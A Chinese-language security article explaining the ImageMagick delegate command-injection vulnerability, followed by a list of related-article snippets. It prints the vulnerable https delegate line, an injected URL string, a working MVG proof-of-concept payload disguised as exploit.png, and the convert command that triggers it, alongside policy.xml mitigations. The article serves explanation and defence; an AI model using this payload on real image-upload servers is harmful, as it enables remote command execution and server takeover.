深入浅析ImageMagick命令执行漏洞

00 前言

什么是ImageMagick?

ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。

由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。

01 漏洞描述

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。

02 影响程度

攻击成本:低

危害程度:高

影响范围:ImageMagick 6.9.3-9以前的所有版本

03 漏洞分析

命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。

ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。

ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml

具体代码请参考:Github-ImageMagick

我们定位到https委托得那一行:

" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

可以看到,command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M"。

wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

可以看到%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过"|",”`”,”&”等带入其他命令,也就形成了命令注入。

比如我们传入如下代码:

https://test.com"|ls “-al

则实际得system函数执行得命令为:

“wget” -q -O “%o” “ https://test.com"|ls “-al”

这样,ls -al命令成功执行。

04 漏洞利用

这个漏洞得poc由老外给出得,如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

push和pop是用于堆栈的操作,一个进栈,一个出栈;

viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;

fill url()是把图片填充到当前元素内;

在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。

附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。

利用过程:

创建一个exploit.png文件,包含以下内容:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

执行命令:convert exploit.png 1.png(后面的是convert的参数)

05 漏洞修复

升级到最新版本

配置/etc/ImageMagick/policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

以上所述是小编给大家介绍的ImageMagick命令执行漏洞的知识,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

(0)

相关推荐

  • windows7下安装php的imagick和imagemagick扩展教程

    最近的PHP项目中,需要用到切图和缩图的效果,在linux测试服务器上很轻松的就安装好php imagick扩展.但是在本地windows开发环境,安装过程遇到好多问题,在此与大家分享. 1. 下载 ImageMagick 下载地址:http://imagemagick.org/script/binary-releases.php#windows 下载最新版本,ImageMagick-6.8.6-9-Q16-x86-dll.exe 2. 安装 ImageMagick 安装 ImageMagick

  • PHP图片库imagemagick安装方法

    本文较为详细的讲述了PHP图片库imagemagick的安装方法.分享给大家供大家参考.具体方法如下: 1.下载ImageMagick http://www.imagemagick.org/download/ 下载 ImageMagick-6.8.5-10.tar.gz ,下载完毕后开始进行安装. cd ./Downloads tar xzvf ImageMagick-6.8.5-10.tar.gz 2.安装第三方图片库 ImageMagick在处理图片时需要依赖jpeg,png等第三方图片库.

  • php实现图片上传并利用ImageMagick生成缩略图

    使用ImageMagick,您可以轻松,更快地创建缩略图,比使用PHP的容易得多. <?php // Location to upload main image: $mainDir = $_SERVER['DOCUMENT_ROOT'].'/images/l/'; // Location to create the thumb image: $smalDir = $_SERVER['DOCUMENT_ROOT'].'/images/s/'; // Command to use: $command

  • 安装ImageMagick出现error while loading shared libraries的解决方法

    本文实例讲述了安装安装ImageMagick出现error while loading shared libraries的解决方法.分享给大家供大家参考.具体解决方法如下: 运行程序时,如遇到像下列这种错误: ./tests: error while loading shared libraries: xxx.so.0:cannot open shared object file: No such file or directory 那就表示系统不知道xxx.so 放在哪个目录下. 这个时候就要

  • php ImageMagick windows下安装教程

    1.下载ImageMagick 打开http://imagemagick.org/script/binary-releases.php#windows 下载最新的版本,目前的版本是 ImageMagick-6.5.4-2-Q16-windows-dll.exe 现在的静态版本能够很好的在各个平台上运行,但是他们却很难懂,因此您应该下载一个动态的版本.如果你的系统/电脑支持16位色,那么你应该使用Q16版本(还有一个是8位的版本),这两者的区别我们将会在下面解释. 对我自己来说,最近的一个版本在我

  • 使用ImageMagick进行图片缩放、合成与裁剪(js+python)

    最近的项目里面需要对书籍的封面进行处理,就是加一条阴影线形成书脊的凹凸感,然后将书脊切出,分成两部分,以便客户端实现打开动画.由于需要在服务器端处理,使用就研究使用imagemagick来进行.同时准备封装了一个Node.js和Python的方法,主要还是讲一下然后使用imagemagick来对图片进行缩放.合成后进行裁剪吧. 首先素材文件如下(左边未处理封面,右边为需要合成上去的阴影): 安装ImageMagick的过程就不讲了,可以参考官网的安装方法:http://www.imagemagi

  • php实现的支持imagemagick及gd库两种处理的缩略图生成类

    本文实例讲述了php实现的支持imagemagick及gd库两种处理的缩略图生成类及其用法实例,非常具有实用价值.分享给大家供大家参考.具体如下: 一.功能: 1.按比例缩小/放大 2.填充背景色 3.按区域裁剪 4.添加水印,包括水印的位置,透明度等 使用imagemagick/GD库实现,imagemagick地址:www.imagemagick.org 需要安装imagemagick,安装方法如下:http://www.jb51.net/article/55528.htm 二.实现方法:

  • ImageMagickObject获取图片的信息无返回值的解决办法

    通过ImageMagickObject的identify获取图片的信息,在命令行下好用,但是放到程序里就得不到返回值,经过实践发现只能使用format参数进行格式化后才能返回数据. 复制代码 代码如下: SET oImg = Server.CreateObject("ImageMagickObject.MagickImage.1") vReturn = oImg.identify("-format","%m,%hx%w","c:\sha

  • 深入浅析ImageMagick命令执行漏洞

    00 前言 什么是ImageMagick? ImageMagick是一个功能强大的开源图形处理软件,可以用来读.写和处理超过90种的图片文件,包括流行的JPEG.GIF. PNG.PDF以及PhotoCD等格式.使用它可以对图片进行切割.旋转.组合等多种特效的处理. 由于其功能强大.性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用.许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成.图片编辑等. 01 漏洞描述 ImageMagick是一

  • ThinkPHP 5.x远程命令执行漏洞复现

    一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1. 二.漏洞影响版本 Thinkphp 5.x-Thinkphp 5.1.31 Thinkphp 5.0.x<=5.0.23 三.漏洞复现 1.官网下载Thinkph

  • PHP网络安全之命令执行漏洞及防御

    目录 命令执行漏洞的原理 命令执行漏洞产生原因 命令执行漏洞的危害 命令执行的防御手段 DVWA介绍 命令执行漏洞的原理 程序应用有时需要调用一些执行系统命令的函数,如php中的system,exec,shell exec,passthru,popen,proc popen等,当用户可以控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令注入攻击 两个条件 (1)用户可以控制函数输入 (2)存在可以执行代码的危险函数 命令执行漏洞产生原因 1.开发人员编写源码时,未针对代码中

  • CVE-2019-9193之PostgreSQL 任意命令执行漏洞的问题

    目录 一.靶场环境 二.漏洞利用 三.漏洞修复 起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下. 一.靶场环境 使用的是 github 上的 vulhub 环境.PostgreSQL 版本为 10.7. vulhub:https://github.com/vulhub/vulhub 1.任意命令执行 具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令. 从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的

  • Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

    目录 漏洞描述 环境搭建 漏洞复现 声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任. 漏洞描述 使用Spring Cloud Gateway的应用程序在Actuator端点启用.公开和不安全的情况下容易受到代码注入的攻击.攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求. 当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令. 影响范围 Spring Cloud Gateway <

  • IIS 7.5 解析错误 命令执行漏洞解决方案

    一.漏洞介绍 漏洞影响 IIS7 及IIS7.5 在使FastCGI方式调用php时,在php.ini里设置 cgi.fix_pathinfo=1 使得访问任意文件URL时,在URL后面添加"/x.php"等字符时,该文件被iis当php文件代码解析. 如 http://127.0.0.1/1.gif 的内容如下: 当访问 http://127.0.0.1/1.gif/1.php 可以看到1.gif里的php代码被iis解析执行了. 那么"黑客"在具体攻击网站的时候

  • 关于Android中WebView远程代码执行漏洞浅析

    1. WebView 远程代码执行漏洞描述 Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口.该

  • PHP-CGI远程代码执行漏洞分析与防范

    CVE-2012-1823出来时据说是"PHP远程代码执行漏洞",曾经也"轰动一时",当时的我只是刚踏入安全门的一个小菜,直到前段时间tomato师傅让我看一个案例,我才想起来这个漏洞.通过在 Vulhub 中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出一篇文章来,和大家分享. 首先,介绍一下PHP的运行模式. 下载PHP源码,可以看到其中有个目录叫sapi.sapi在PHP中的作用,类似于一个消息的"传递者",比如我在<

  • 跨站脚本执行漏洞详解与防护

    本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞.由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教. 声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负! [漏洞成因]  原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换. [漏洞形式]  这里所说的形式,实际上是指CGI输入

  • Windows CVE-2019-0708 远程桌面代码执行漏洞复现问题

    一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大. 目前,9月7日EXP代码已被公开发布至metasploit-framework的Pull requests中,经测试已经可以远程代码执行. 二.漏洞影响版本 Windows 7 Windows server 2008 R2 Windows server 2008 Windows 2003

随机推荐